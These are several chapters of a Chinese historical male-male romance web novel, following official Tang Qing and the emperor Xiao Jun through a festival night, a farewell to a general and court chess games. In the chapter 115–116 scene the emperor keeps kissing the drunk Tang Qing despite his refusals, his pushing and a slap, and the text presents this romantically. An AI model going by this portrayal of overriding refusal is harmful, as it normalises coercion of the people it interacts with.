* 当日傍晚,唐青在府上和兰香一同用了年夜饭。 外头不时响起炮竹声,他看兰香心不在焉的,又打量她一身置办的新裙袄,笑道:“一会儿出门赏玩,不必在我身边待着。” 兰香:“怎能留先生独自在府内。” 唐青道:“我想在书房看会书,等乏了就歇下。” 如此交代后,不久,唐青到了书房,兰香将一壶泡好的清茶送进屋。 她瞥见书案前那张宁静温和的容颜,总觉四周有些冷清寂寥。 “先生,过年呢,您同我一道出去吧。” 唐青挑了本杂书,笑着开口;“人都需要独处的空间,你就去寻方管事吧,今夜城内有烟花盛会,可以和对方去街上赏玩,好好培养感情。” 最后,总算把兰香劝出家门。唐青重新坐回书案前,一灯一影,静谧的度过夜色。 * 上元佳节,邺都到处都在举办庆典。 烟花盛放的声音在上空源源传递,唐青翻书的速度越来越慢,指尖一顿,合起书页,幽幽把视线眺向窗外。 桌上的茶水已经冷凉,罩子里的火光映在墙面,孤零零的一道,极致的喧闹繁闹与这寂静的一隅成了强烈的对比。 时至此刻,唐青也觉得有些过度安静了。他从案前起身,凝神思忖后,将斗篷取出,待浑身包裹得严实了,这才徐步走出府门。 满街灯火,游人如潮,穿着新衣的姑娘们提着花灯成群结伴游街。 行经两岸,河面虽结了冰,但并不妨碍众人沿着冰雕一路游赏,巨大的冰花随风抖了些冰晶,景致颇为奇特,唐青忍不住驻足打量,暗暗感慨。 所到之处,十分热闹,唐青左右环视,唇边不禁染上几分笑意。 他停在售卖年物的摊贩前,引来路旁的行人围观。 小贩不掩惊艳,尽力拉拢,笑呵呵道:“公子可要买花灯?” 天寒地冻,唐青不想将手揣出袖口,温声道:“给我面具吧。” 他要了一个兔子耳朵样式的面具,上头涂了斑斓多彩的漆色,格外独特。 唐青付了钱,把半截兔耳朵面具戴上。 远处传来一阵哄笑,他闻声偏过脸,却见几步之外,一道墨氅人影静立。 对方浑身贵气,高挺的鼻梁上悬了半张黑狼面具,几分熟悉。 那人似在等他,恰逢他转头,摘下狼面,冲他脸上的兔子面具点了点。 唐青盈动着笑意的眉眼一跳:“……爷。” 宫内今夜有大典,且皇亲国戚来了不少,萧隽怎么会出现在邺都街头? 萧隽把狼面递给他,唐青接在手上,还未继续开口,就听对方问:“前方有庙会,可要去瞧瞧。” 无须唐青答应,人潮这一刻都往庙会涌去,他被迫顺流前行。 手上的狼面又被萧隽拿走,唐青见对方戴回脸上,继而手腕一紧,整只手都被萧隽裹在掌心牵了起来。 唐青看着掩在袖摆之下相互牵起的手,“……” 萧隽侧目:“别被挤丢了。” 第115章 第 115 章 邺都的庙会十分热闹, 繁华的街头灯海如昼,行人汇聚,如织如潮。 唐青原本与萧隽互相牵着防止被四周的人冲散, 眼见人群越来越拥挤, 蓦然间, 一股麝香气息笼罩他的周身。 唐青抬眸, 和萧隽投下的目光不期而遇。 萧隽完全把他拥在怀里:“当心。” 话落, 不知推搡了一下, 直将他往萧隽胸怀送去, 墨色毛氅扑了他一脸。 唐青:“……” 他微微启唇,吐开嘴边的貂毛。 萧隽长眉轻扬,似有些愉悦。 唐青别过脸, 正要错开彼此过近的距离,人群中又响起一阵哄闹,背后紧了紧,又遭人推搡。 萧隽手臂拢在他腰间两侧护着, 声音微哑地道:“莫要折腾了。” 唐青望着黑压压的人群, 心生无奈。 “爷, 咱们可能换个地方。” 萧隽淡笑:“这会儿无计可施。” 唐青:“……” 如此这般在人声鼎沸的潮海里挤了半晌,萧隽总算带着唐青来到另一条街上。 直到周围没多少人了,唐青低头,手指挑开面具的环扣,将其解下。 萧隽看着他,适才一番推挤,唐青此时发髻微微凌乱, 几缕落下的青丝拂过眉眼,如雪腮颊透出粉润色泽, 冲散在街边相见时浑身清冷寥落的气息。 唐青抬头:“爷,您笑什么?” 萧隽只笑不语,把狼面摘下,递给他。 唐青把两个面具拎在手上,指尖触到面具残留的余温。 萧隽:“还有什么地方想去逛逛。” 唐青望着淹没在灯海和烟火下的邺都,想起刚才推挤的情形,摇头拒绝。 萧隽便开口:“那就往这边走。” 二人微微保持前后的距离,萧隽想牵他,唐青断了对方那份念头:“爷,附近人又不多。” 见萧隽还想再说,唐青错开视线,望着不远的摊子。 不少地方都在举行上元节活动,距离最近的摊主办了个射箭解字谜的活动,规则就如字面意思,挑战者先射箭,射中转动的灯笼后再解答上面的字谜,若猜中,可根据挑战难度选取对应的奖品。 猜字谜或许不难,但要射中转动的灯笼便有些难度,这些灯笼有大有小,且转动速度不一,让围观的游人败下数次。 萧隽问:“想玩?” 唐青:“只是看看。” 一旁射了数十箭,好不容易给自家娘子赢得了玉簪的男子说道:“来都来了,岂能不替心上人赢一回礼品?” 闻言,唐青侧首打量男子。 他方才观察过,男子连射二十七箭,付给摊主的钱买上那只玉簪绰绰有余。 不等开口,萧隽轻揽他的肩膀,把他带到摊子面前。 仪表不凡的两人顷刻吸引了驻足群众的目光。 大邺风气自由,若两心相许,这夫郎嫁娶一事并非罕见。那等门户富贵的人家,除了妻妾,也有暗地里豢养男郎的事。 再往上说,王侯贵族,乃至历代帝王,也盛传过男风, 王城贵族云集,总之游人默认唐青二人是某户高门的一对,艳羡的同时,不忘起哄:“这位爷给公子赢些礼品再走呗!” “对啊,公子玩一把嘛。” 萧隽只看着唐青:“上面的礼物,可有想要带走的。” 素来淡然的唐青被周围的哄声弄得微微耳热,眸光一转,淡道:“我想要什么,可以自己取。” 他看向其中一件礼品,月色竹纹缎面的发带。 制作这条发带的人绣工精湛,只凭借街边的灯照,光影明暗不一,发带上的竹纹却犹如漂浮流动的云,纹路泛着微弱的银白流光。 唐青方才所看,就是这条发带。 他向摊主付了钱,之后拿上弓箭,掂了掂,摸出几分趁手的感觉后,搭箭拉弓,凝眸细瞄。 萧隽目光落在那截皓白如雪的手腕上。 灯影中唐青一双桃花眼丝毫不动,忽地松开手指,箭头在众人发出的哗声中射入转轮上的灯笼。 唐青意外,没有射中月白发带的那个灯笼。 摊主也意外,原以为这般十指不沾阳春水的公子射不出弓箭呢。 他取下灯笼,打开里面的字条,把谜语念出来。 唐青稍忖,很快解开字谜,奖品是月白竹纹发带旁边的墨黑发带。 这条墨色发带看似朴素,却暗含奢华之感,质地不逊唐青看中的那条,只是不适合他。 他觉得有些遗憾,尚不及开口,萧隽道:“可能送我?” 唐青眨眼,萧隽:“我用另一条与你交换。” 奖品还剩二十一件,萧隽跟摊主买了二十一支箭翎。 摊主顿时眉开眼笑。 第一支箭价钱便宜,可每多买一支,价钱便逐次翻倍,翻了二十一倍的价钱,可不便宜。 这摊主在活动上设了个微妙的陷阱,利用了人心做买卖。 货架摆置的奖品比较精致,又有箭翎初价便宜的诱惑,游人蠢蠢欲动,觉得自己能行。 一来二去,灯笼射不中,还凭白花了几倍的钱。 摊主笑容还未扩大,陡然一变,而后变成了猪肝色。 萧隽第一箭就射中月白发带的灯笼,唐青口上不言,隐露的喜悦却被他捕捉到,于是一次性往弓弩搭上四支箭,箭无虚发,四支箭分别射入轮盘上转动的四个灯笼。 如此四次,不管转盘速度怎么变化,萧隽将剩下的二十支箭分四次射出,转盘已无灯笼。 众人倒吸冷气,摊主冷汗混着泪水直淌,浑身虚软地倒在地上。 唐青无奈:“爷,您玩过了。” 萧隽能将神兵裂天弓驭得出神入化,摊主这等把戏还不够对方放在眼里。 摊主哭道:“这位贵客,求您绕了小人吧……” 萧隽没看旁人,眼里只容唐青:“我只要那条发带送给你。” 这段小插曲过去,唐青手腕缠了一条月白竹纹发带。 他们离开人群,声嚣远去。 不知走了多久,唐青在萧隽涌动着浅淡笑意的目光下微微别过眼,径直往前。 渐渐地,来到僻静的街巷,他打量不远的院落,感叹道:“竟走到了这里。” 萧隽与他并肩而立:“进去吧,老马今年酿了新酒,有合适你的口味。” ** 新年,邺都灯火如昼,老马自然还没休息。 他听到动静迎至大门,笑呵呵地招呼:“爷,公子,你们来了啊,来了好,来得好。” 唐青已官居从二品,旁人见他都问候一声大人,老马却坚持称他公子,一如初见那年。 他来的次数不多,这还是第三次被萧隽带过来。 到了屋内,老马将热菜热汤送上桌,又将新酒温了温,对唐青说道:“虽然公子极少来,但这壶果酿始终给您留着。” 唐青有些感动,没想到只见了两次面,对方居然一直惦记自己,还为他专门酿了酒。 如此,唐青和萧隽对坐。 又一个新年,居然是和对方过的,他已经两次跟萧隽在这间院子过年了。 萧隽挑出几块鱼肉和汤放进瓷骨碗中,推到他手边:“尝尝。” 唐青眉眼微弯,低头尝了碗里的鱼肉。 不知不觉起了阵风,莹莹雪白无声无息的从檐瓦飘落,伴着温酒和菜肴,唐青与萧隽用完了这顿宵夜。 再出院门时,满地皑白覆盖着整座邺都王城,是个瑞雪丰年之兆。 唐青吹了口气,浮出茫茫白雾。 他笑了声,萧隽放低声音:“时辰不早,送你回去休息。” 马车候在门外,这会儿唐青也比较乏了,没有推拒。 车上,唐青看着自己的兔子面具被萧隽拿在手里,发自真挚的笑了笑:“今夜,谢过陛下。” 萧隽没问他话指何意,一直到了府邸,唐青欲下马车,左右却不见车夫搬来马凳。 他正待叫人,背后笼来麝香气息,萧隽将他抱了下去。 “陛下……” 唐青微微皱眉,收起适才的笑容。 “臣自己走。” 萧隽:“满地积雪,当心冻着了。” 唐青开口,声还没出,迎面又来一股风,吹得斗篷上的毛领直扑进嘴巴。 萧隽淡笑,掌心拍了拍他的肩膀:“好了,就到寝屋了。” 唐青的寝屋,萧隽出入比他这个主人还要娴熟。 将他放在床上后,萧隽召来一名暗卫,吩咐对方送热水进屋。 唐青从榻间坐起,解开斗篷挂好,哭笑不得地道:“陛下,这是臣的房间,您可以出去了。” 萧隽睨他:“连茶水都不招呼一杯,就急着赶孤走了?” 唐青垂眸:“臣不是这个意思,天色不早了,臣很感激陛下今夜……” 他话还没说完,脸颊袭来温热,萧隽拿起绵软的巾帕沾水,打湿后替他擦拭。 “陛下,您不用这般,” 他避过脸,因在小院喝过果酿,经热水打湿的巾帕一擦,肌肤顿时红得如同抹了水粉胭脂。 萧隽动作一顿,转而替他擦着手。 唐青轻轻挣扎,巾帕落入水盆,水珠溅在帷幔上,飘纱摇晃,唐青湿漉漉的腕子一紧,整个人皆被萧隽压在床头。 萧隽看着他,极其浅淡的瞳孔闪过一丝受伤。 “又要说那些拒绝孤的话是么。” “今夜听暗卫来报,说你独自在书房看书,寥灯独影,又对着窗外恍惚,孤一听,心口便揪紧,设计了一场街头巧遇。” 唐青:“……” 萧隽:“孤只是想陪你。” 唐青掩低睫毛:“臣明白。” 萧隽俯下头,高挺的鼻梁隔着衣襟蹭了蹭唐青的颈子,嗅到从皮肉里带出来的香,方才那阵失落很快被其他心绪取而代之。 唐青推了几下,萧隽由着。 当雪白柔软的指尖滑过侧面,萧隽偏过薄唇,精准地啄了啄纤长雪白的手指。 唐青瞪大眼,指尖像被烫了那般收起,手指连进心脏,肺腑也充斥着异样的微醺热感,许是迟来的酒意上头。 萧隽笑了下,目不转睛看着他:“孤想亲你。” 唐青真是醉了,手脚失去了力气,没有避开俯下的萧隽。 屋内静得唯有喘气的声响。 刮弄在唐青唇边的痒意缱/绻而潮湿,他抑制不住地微微启唇,只此一刻,萧隽伺机而动,火热的舌头沿着柔软的唇缝深深抵入。 第116章 第 116 章 唐青头昏脑涨, 唇畔酥麻火热。 每每想推拒,手腕子连着指尖俱被萧隽握住,以连接不断地啄吻仔细描绘。 濡湿温热的舌触过耳根, 唐青面红如潮, 断断续续地出声制止:“陛下, 别……别这样……” 萧隽哪里听得入耳, 只觉口舌所过之处, 萦满了潮湿馥郁的香甜。 彼时萧隽就像一个渴死在沙漠里的行者, 深深埋入高挺的鼻梁和炙热唇舌, 从唐青身上竭力攫取甜美芬香的干霖。 已过了许久,飘纱让唐青扯落了一半。 他全身绵软地蜷在榻内,气息不稳。 余光如潮水落向颈畔, 这次指尖凝聚了所有的力气,往拱入衣襟内的面孔一推。 拉扯中,少许指尖刮破萧隽眉眼,沁出几滴鲜红的血珠子。 唐青心内一惊, 还未开口, 却见萧隽微微扯动薄唇, 唇上残留着亲吻他时印出的一片湿渍。 唐青忍着心绪,待平复气息,适才冷声道:“陛下再这般,臣就不客气了。” 无奈他嗓子喑哑,此情此景说的话没有几分震慑力。 萧隽笑笑,复又低头。 吮吻的渍声再度响起,萧隽眉骨周围俱是欲色带起的潮红, 血珠子氤开了,叫人看得惊心动魄。 唐青在对方吻下来前, 手心脱离意识,等他反应之后,右手已经扇在萧隽侧脸上。 萧隽脸都没偏半分,微微侧目朝他露出笑意,低声道:“不疼。” 说着,又将他的手按在面庞,怜惜的吻了吻雪白的细腕:“没打疼吧。” 唐青气都喘不匀了。 无论求饶还是动手,软硬兼施,对萧隽都起不到半点威慑力。 手腕上濡湿的触吻离去,萧隽定睛看着他,在唐青开口前,从他身上起来。 萧隽半蹲在床榻,眉目俱是温情。淡色的瞳孔不复素日冷漠,长指舒展,想替他整理凌乱的发丝。 唐青背过身,又将锦褥拉起,把一身的凌乱掩去,没给对方这个机会。 萧隽:”你先安心歇息,有什么吩咐尽管使唤外面的暗卫。” 唐青沉默,待萧隽走到门外,他动了动身子,又听对方低沉开口:“过几日见。” 唐青:“……” * 元年伊始,瑞雪覆京,子时将过,整座王都仍沉浸在绚烂斑斓的烟火之下。 寝屋内一盏残灯孤影摇曳,过了许久,火光倏地冒出一缕残烟,蜡烛燃至天明时,唐青没有起身。 兰香送了盥洗用具进屋,笑吟吟地道:“先生,新年好。” 待见到榻间毫无动静,连忙放下木盆,靠近了问道:“先生,身子可是有哪里不适?” 唐青动了动眼珠:“无事。” 甫一开口,这才发现嗓子哑得厉害。 兰香送来茶水,唐青连饮两杯,缓解嗓子不适症状后,抬眸,瞥见兰香紧捂嘴巴,杏眼瞪得厉害。 小姑娘眼眶通红:“先生,可是……可是皇上欺负您了……” 她鼓起勇气说出大逆不道的话,话落,发际两侧源源不断地沁出冷汗,泪水滚成珠子,双手颤抖地替唐青拉好松散的衣物。 唐青还算镇定:“寻面镜子给我看看。” 兰香一听,又要落泪。 待拿到铜镜,唐青对镜端量,脖颈的肌肤一片青痕,诉说着昨夜醉后的暧/昧有多荒唐。 他叹息:“莫要哭了,皇上与我的事就如一团乱麻,此事你知我知,勿要声张。” 兰香点头应是,虽有唐青宽慰,但这日始终顾虑重重。 旁人忧愁,唐青作为当事人,想了大半夜,早就看开了。 他一如往日在府内休养,等上元节的假期过完,身上的吻痕也消散了几分,出门裹得厚实些,旁人也看不出来。 如此,等回宫上朝那日,议会刚散,唐青目不斜视地随着人群离殿,才出大门,李显义疾步寻来。 “唐侍郎且慢,陛下有请。” 唐青:“敢问常侍,陛下召见本官,可为公事?” 若是私事,他便寻个由头不去了。 李显义惊讶。 天子召见,哪有臣子回绝的道理,且唐青平日温和端庄,何曾像这般明确流露拒绝的意思。 李显义:“咱们做臣子的,岂敢妄自揣测圣意?” 唐青不甚分明的笑了笑,要说揣摩圣意,没人比李显义更擅长了,此人明的暗的撮合他和萧隽数次,只是他这几年给萧隽办事,办得还都不错。 一朝成为天子近臣,李显义这才歇了那份撮合的心思。 毕竟娈宠和能臣,李显义和他主子一样,都是偏向后者的取舍。 拉扯几番,唐青仍随李显义去了颐心殿。 ** 殿前的积雪早就扫净,长阶洁净,入内铺置着厚实干燥的毡毯,沉香袅袅,萧隽不在御案前,而是招呼唐青与他下棋。 棋是唐青曾经送出的象棋,萧隽已经换了一身墨色金纹的常服,先是看了他一眼:“坐吧,唐卿已经几年没与孤对弈了。” 这些年萧隽始终独自对弈,时隔几年,第二次和唐青面对面下这盘象棋。 唐青微忖:“陛下若无公事,臣请告退。” 萧隽:“孤打算任命韩擒为定西大将军,不日带军驻守幽州西境,卿可有什么想说的。” 唐青:“……臣无异议。” 韩擒追随萧隽数年,有从龙之功,这些年又累建桩桩功劳,莫说封侯拜相,封他一个大将军是迟早的事。 萧隽笑笑:“卿这几日过得可好。” 唐青:“臣很好,谢陛下关心。” 萧隽:“孤却不好。” 唐青:“……” 萧隽:“卿就没有什么话想对孤说的?” 唐青:“臣无话可说。” 萧隽:“那件事……” 唐青:“陛下与臣除了公事,没有其他事。” 萧隽眼也不眨:“孤心悦你。” 唐青:“……” “这些年,孤看着你,陪着你,等了几年,若再等下去,也无不可。但那日回宫,梦里都是你的模样,几日来,孤夜不能寐,每每回想,只觉心荡神驰,怦然意动。” “唐青,若最初孤不曾强迫你,不曾做那些叫孤后悔的事,你可会接受孤的心意?” 第117章 第 117 章 殿内一片寂然, 唐青垂下的眸光落在象棋上,良久,似叹息般开口。 “陛下, 臣从不做事后的设想。” 已经发生和没有发生的事, 不在他的考虑范畴之内。 至于那些经历过的, 他从不怨天尤人, 如果路线错了, 那就想方设法矫正, 世上能自救的从来都只有自己。 萧隽吃了他一子, 未被这句回答激起怒火,反而勾起浅淡的笑意,说道:“至少卿没有否认。” 唐青指尖一顿, 按着象棋沉默。 记忆回到四年前,他的确没有忘记见到萧隽时的那一幕。 隔着茫茫雨雾,这个马背上居高而下和他对望的帝王,与他目光相撞, 一瞬间给他带来了无法形容的震动。 两个时空穿梭, 那种初见时灵魂碰撞的感觉他第一次经历, 很难忘记。 萧隽再次吃了他一子,車直指他的帅。 唐青无奈:“陛下,我又输了。” 萧隽不置可否:“卿没有认真。” 唐青无声一笑:“即使臣全力以赴,输了这局棋只是早晚的问题。” 棋局如战场,透过棋局博弈,可以知悉一个人心思。 大邺这几年施行休养生息之策,萧隽并未因此懈怠了骨子里的战意和运筹帷幄, 对方天生就是个野心勃勃的人,无论对事还是对…… 唐青收起心思, 浅笑着摇了摇头。 萧隽:“再开第二局?” 唐青:“无论多少局,臣都不是陛下的对手。” 他只想求全,求自我,以退为守,但萧隽想的是征服,攻势如雷霆千钧。 萧隽看着他:“若卿向孤服软,怎知孤不会让你从孤这里赢了下一局。” 唐青:“若真那样做,陛下就不是陛下了,服软乞来的胜利果实,滋味未必有多好。” 萧隽:“卿连试都不愿意尝试,便笃信滋味不好?” 唐青:“……” 他温声转了个话题:“臣想告退了。” 离开时,唐青细心拢了拢斗篷,尤其将脖子遮围得严严实实。 萧隽停在他身后,看着他有意的遮掩,说道:“今日孤会差人宣召任命韩擒为定西大将军的谕旨。” 唐青背着身没动:“几时启程?” 萧隽并不介意唐青向自己询问此消息:“三日后。” 唐青:“臣知道了。” 他向萧隽拱手行礼:“臣请告退。” 萧隽走到门外,此时唐青就要下台阶,余光一转,望着四周把守巡视的禁军。 这么多双眼睛看着,传出去不知又要招起多少闲话。 他率先停步,温声叮嘱:“陛下,请留步。” 萧隽挑眉,唐青不再多言,头也不回地走了。 寒冬凄楚,春潮将至。 起了股风,萧隽目送远去的唐青,青年披着的雪白貂篷迎风而摆,好似一朵洁白无瑕的雪莲花。 李显义迎到门后:“陛下瞧着心情不错。” 萧隽没有否认。 韩擒定驻幽州,皇叔也不在王城,唐青身边只有他,纵使方才没有得到回答,可唐青并未否认。 他此生只在疆场中纵横,在江山社稷上博弈。于战事,不管危机多少,又或失败的几率远超胜利,凡是有一丝机会,足可让他抓住时机,扭转乾坤,乘胜追击。 只要唐青没有否认,抓住这一丝机会,即使微弱,于他而言也足够了。 ** 年初积压许多公事,唐青回到府上,用过膳食便去书房处理。 已过掌灯时分,外头飘了雪,他执起手边的茶水,入喉温热,清香的茶息化解几分疲惫。 兰香进门催促:“先生,该歇息了。” 唐青头也不抬:“再等等。” 又忽然问:“几时了。” 兰香看他过度辛劳,有些不情不愿地应道:“都要过子时了。” 唐青轻喃:“是很晚了。” 这几年他作息规律,忙到此时,头脑已经昏沉得不行,明日一早还要送人出城,于是歇了办公的心思,打算回房睡觉。 刚起身,人就晃了晃,眼前的灯火也跟着摇晃。 兰香眼疾手快地搀着他,愁眉苦脸地劝着:“先生,明日不许忙到这个时辰了。” 唐青边走边轻揉眉心:“好。” 兰香嘟囔:“知道您是为了空出时间送大统领离开,但也不能不顾身体呀。” 明早韩擒启程去幽州,此一别,不知何年才能再相见。 韩擒是唐青两世中少有的知交,无须对方通知,出于情谊,他也会相送一程。 想着此事,唐青睡前服用了一剂汤药后,很快沉沉入睡。 ** 翌日,天刚灰亮,他起身更衣,就着兰香送进房内的温水洗漱。 昨夜落了一宿的雪,唐青穿着厚实棉绒的御寒衣物,乘坐马车赶往城门方向。 一地寒白,朔风凛冽的刮着城门,目光所及,威武严肃的邺军整装待发。 军队为首的男子着玄色铠甲,唐青出现在城墙高处,瞬间看到韩擒的背影。 对方似有感应,侧身回首,与他遥遥相望,很轻地点了点头。 城门外十里地,唐青的马车不紧不慢驾驶在官道上,直至帘子外响起一道声音。 “先生。” 唐青以指尖挑开车帘,朝对方浅笑:“我来送你。” 韩擒目光涌出感情,还有不舍。 唐青下了马车,韩擒牵着马与他落在军队后方。 “原本想早点来送你,结果还是晚了些时辰。” 韩擒低声道:“先生有此心意,我已知足。” 唐青舒缓地呵出一口气:“在幽州好好照顾自己。” 韩擒看着他:“先生也要照顾好自己。” 他笑问:“会舍不得离开吗。” 韩擒不假思索:“会。” 但他须得离开,父兄留在邺都,皇上需要他治理幽州。且在西北那片疆域上,每一处都流传着关于唐青神降的事迹。 为此,无论出于忠心还是私心,他都甘愿守护那片土地。 瞥见十五里的石碑,韩擒先开口:“就到这里吧。” 唐青停步,还欲说话,身子一暖,却被韩擒拥入怀里,紧接着微微冻红的鼻尖印下一道濡湿温热。 韩擒拥着他,吻着他,这份亲昵已不再适合他们,但面临分别,唐青闭起眼睛,没有推开。 不久,韩擒松手:“先生,我走了。” 他一双星目中含了泪意:“多谢先生没有推开。” 唐青背过身,唇边始终扬着笑。 直到再也看不见军队和韩擒的踪影,他垂首,神情有些黯然,眸里微微湿润。 远处的林道上停着一辆马车,萧隽透过车帘,看着自始至终不发一语的青年,目光闪过几分妒意,几分痛楚,几分失落。 百转思绪最终归于平静。 他低沉地开口,仿佛自言自语。 “这是孤让他最后一次为别人落泪。” 第118章 第 118 章 从邺都关口出城的路只有一条, 过往停放的马车寥寥无几。 唐青沿着官道徐慢返行,很快知道有人跟着自己。 理应是萧隽派来的,又或者就是萧隽本人。 他没有靠近, 径直走自己的路。 接送他的车夫未得他示意, 也没有轻易出声, 而是安静地跟随着。 另一边, 车内的李显义轻声问:“城外天寒, 可要稍侍郎一程?” 萧隽:“他知道孤在跟着, 这时候无须接近, 让他独自静静。” 李显义称喏。 话罢,随陛下一同望着在林间独自前行的那抹背影,瞧着瞧着, 蓦然发现,威严淡漠的帝王多了以前不曾有的柔软和耐性。 * 天色很快阴沉,将要落雪。 唐青赶在下雪前上了马车,回府邸不久, 他揉揉泛红的鼻尖, 在城外逗留接近一个时辰, 毫无疑问地感染了风寒。 眼看兰香愁眉苦脸地又要念叨,他披着满背乌发严严实实裹在锦被里,好笑不已地开了口。 “喝剂药汤捂会儿便无甚大碍。” 话虽如此,当兰香火速把药盛给他时,唐青仰天而望,幽幽叹息,就差没捏着鼻子喝了。 这几年在古代喝了不少中药, 始终不习惯药汤苦涩的味道,不如药丸来得方便。 轮到兰香好笑, 她双手叉腰,挺直腰背的说教道:“先生这般怕喝药,今后勿要在外头吹那么久风呐。” 唐青连连称是,丝毫不觉自己一个年近三十的成年人,被个不到二十岁的姑娘斥责有多丢脸。 他活了这些年,也就对身边的兰香偶尔有些贫嘴的闲情。 二人打趣几句,唐青药效起来,很快把自己蒙在温暖柔软的被褥里睡了一觉。 觉至午后,他在书房理了一些堆积的公文,待用完晚膳和药汤,很早就睡去了。 翌日门前落满积雪。 兰香和副管事带着两名仆人清扫,见他出来了,几双眼睛亮晶晶望着,无一不扬起笑脸问候。 “先生早。” “大人早。” 唐青浅浅一笑,逐个回应他们。 他一席绛紫色儒雅秀致的官袍掩在斗篷里,行走时腰间的玉质官饰和环佩轻轻相碰,泠音叮铃,端地飘逸出尘,踩着干净的阶梯坐上马车。 府邸的几人一致目送马车平稳驶远,直到看不见半分踪影,这才意犹未尽的收起视线。 府邸人的热情,唐青尚可淡然相对,殿中宣布下朝时,金銮宝座上投来的那道目光,却叫他讪讪回避。 唐青夹在一众官员中准备默默离开,拐个道,又被等候多时的李显义截住了。 李显义笑道:“侍郎,陛下有请。” 唐青双手拢在斗篷里揣着,遥遥望了会儿灰蒙蒙的天。 李显义耐心地陪着他装傻充愣,半晌,只好去了颐心殿。 殿里暖气很足,沉香微醺,刚入大门,便觉心里有股沉静安宁之感。 他解下斗篷,宫人将其小心铺展开悬在黄花梨木的衣架上。 唐青踩着厚底的毡毯,还没走几步,便知有人看着自己。 隔着一扇九龙逐日的屏风,萧隽眼也不眨地望着他。 唐青拱手:“见过陛下。” 萧隽示意他品尝案几上的温茶,唐青饮了一盏,良心评价:"好茶。" 萧隽道:“今年进贡的云顶雪景,过会儿让宫人给唐卿送些到府上。” 能呈至御前的贡茶,珍稀程度可想而知。 唐青垂眸:“多谢陛下赏赐。” 萧隽指腹在案前轻轻敲了一记:“今年治理冻灾的策略有劳卿整理,天冷,多加休息,注意保暖添衣。” 唐青又准备说些恭维的话,萧隽话锋一转,与他就治理冻灾政策聊了一会儿,随后差人送象棋过来。 暖阁里静谧,偶尔响起棋盘落子的声音。 连着几日,唐青只要进宫上值,总会被请到颐心殿和萧隽下象棋,过程也不闲聊什么,等他琢磨出来,棋子落下的速度越来越慢。 萧隽的意思他明白了,这是在借棋意表露运棋人的心思。 唐青抛开公事不想了解对方,萧隽便借棋传心,甚至慢慢剖开他的弱点,叫唐青有了进攻的机会。 静默许久,萧隽问:“为何不继续攻势?” 唐青摇头。 恰逢李显义送折子进来,到了萧隽批奏的时辰。 奏折经过归类,一部分被略过,唐青知道那是什么。 尚书台也会处理呈递到御前的折子,一部分他们决断,一部分送到御前。 萧隽在位第七年,后宫始终悬空,前几年官员们还稍势收敛,不敢多言,这两年关于充纳后宫的谏言又陆续多了起来。 不管奏折几多,萧隽都未曾批过。 他望着眼前的棋盘,贵为天子,只要有意,多的是愿意学会象棋规则陪他下棋的人,但这些年对方始终独自对弈,又或…… 唐青暗叹,怀着复杂的心绪起身向萧隽告退。 走到门后时,他系着斗篷的动作停下,忽然回头看了一眼,与对方投来的目光刚好交汇。 唐青偏回侧脸,萧隽道:“过几日孤去城郊骑马,卿可要一起。” 唐青婉拒:“恕臣有些私事处理。” 萧隽:“也好。” * 唐青如往日下完棋后离开皇宫,刚入大门,瞧见兰香和副管事正在院中处理去年夏至囤积的粮米。 兰香道:“这些米遭受湿潮,若不及时吃完,过不了多久就要发霉了。” 府内不缺粮米,素日都会屯放整屋。此时收拾出来受过潮的米,约莫可装三车左右。 他们一时片刻吃不完这么多,唐青略忖,吩咐兰香给另外两名仆人发放一些,余下的,便装上车运去城外,免费分发给县村里的百姓。 今年冻灾频繁,无论寒暑,除了几座繁华城邑庇护的百姓,其他地方的百姓过得并不顺意。 赶上受灾严重的地方,百姓会往大城方向迁移,大城获取物资的方式更多,运气好的话可以度过这个冬天。等最冷的时节过去,待春日回了暖,才返回住地耕织。 兰香连忙应是,和副管事一起整理,不消三日,收拾出整整五车的米。 五车大米运往县乡当日,唐青也跟着去了。 他去的地方叫牟高乡,离邺都有将近一个时辰半的车程。 乡里的百姓听闻有米粮发放,老的拖着小的出来排队领取,乍一见到唐青,纷纷跪拜,喊着见到了仙人。 唐青宽慰几句,许是模样好说话又温和,乱成一团的乡民都不约而同安静下来。 副管事带着人管理秩序,让百姓乡民排好队伍,只不到半时辰,几车粮米全部分发完毕。 唐青坐车返城时,一伙不知哪里来的人把他们的马车围住,声称想要他救济一些粮食和钱财。 口头上说是求助,其实更像打劫。 唐青坐在车内,隔帘观察,这伙人面目凶恶,体格也健壮,明摆着就是寻机挑事的。 他还没开口,那伙人便冲了上来。 随行潜在附近的暗卫出现,不用多时将其捆绑起来全部制伏。 一伙壮汉望着唐青求饶,嘴上问他是哪家公子。 唐青不语,未报家门。 若报家门,明日该有折子呈到御前参他几本了,参他以官威仗势欺人,欺辱流民云云。 这几年他主张诸如削减官秩,下发土地,赋税薄收的政策陆续在大邺全境推行,分化阶层利益的后果就是得罪了不少人, 但他背靠皇帝,又没什么由头参他,即使有心,过去也没太明显的动作。 暗卫领头上前示意,唐青吩咐:“带回去交给官府审理,该怎么审就怎么审。” * 傍晚前他回到府邸,刚进门,就听门房说有贵客在前厅等候。 潜在身边护着他的暗卫是萧隽的亲军,他一出事,消息应该立刻就传回了宫里。 唐青入厅,负手而立的男人背回身,径直走到他面前,目光垂落,丝毫不动。 他别下眉眼:“陛下。” 萧隽:“可有受伤。” 唐青摇头。 萧隽:“可有受惊?” 唐青还是摇头。 萧隽仍看着他,道:“还不若将你留在宫里陪孤下棋,省得你在如此冷的天跑去乡里。” 唐青想再开口,门外宫人传唤,却是把宫里的刘执太医请来了。 他道:“臣无碍。” 萧隽软了语气,低沉道:“先看看。” 检查一番,唐青只风寒未愈,太医给他开了点常见的药,还有些宁神养气的辅汤。 待人都离开,唐青倚在榻前想起身,萧隽将他按了回去:“好好歇着。” 唐青:“臣还没用膳……” 萧隽:“过会儿你那丫鬟自会送到屋里。” 目光相对,唐青先别过脸,萧隽笑笑。 静默中,萧隽忽然从他枕边勾起一条编绳,拿出熏置的香囊,放在骨节分明的手指上把玩。 “这个香囊,可能送给孤?” 唐青:“……” 萧隽:"若不愿意那就罢了。" 唐青:“陛下,这只是寻常不过的香囊……若陛下想要,臣自是奉上。” 他想去盒子里取几个新的,萧隽依旧将他揽回床榻:“孤只要这个。” 唐青:“……” 萧隽理着他散在枕边的发丝,见唐青眉眼低垂,忽然开口:“过去卿说给孤做那把刀的话,不作数了。” 第119章 第 119 章 萧隽看着唐青的眉眼说完这句话, 此后,寝屋内安静许久。 唐青不是傻子,怎会看不出对方目光里的柔和下来的热烈, 微微灼着他, 还有未道明的情愫。 萧隽理着他发丝的手指一顿, 握在他细白的腕子上, 虽未开口, 桎在腕间渐渐加深的力气却又什么都说了。 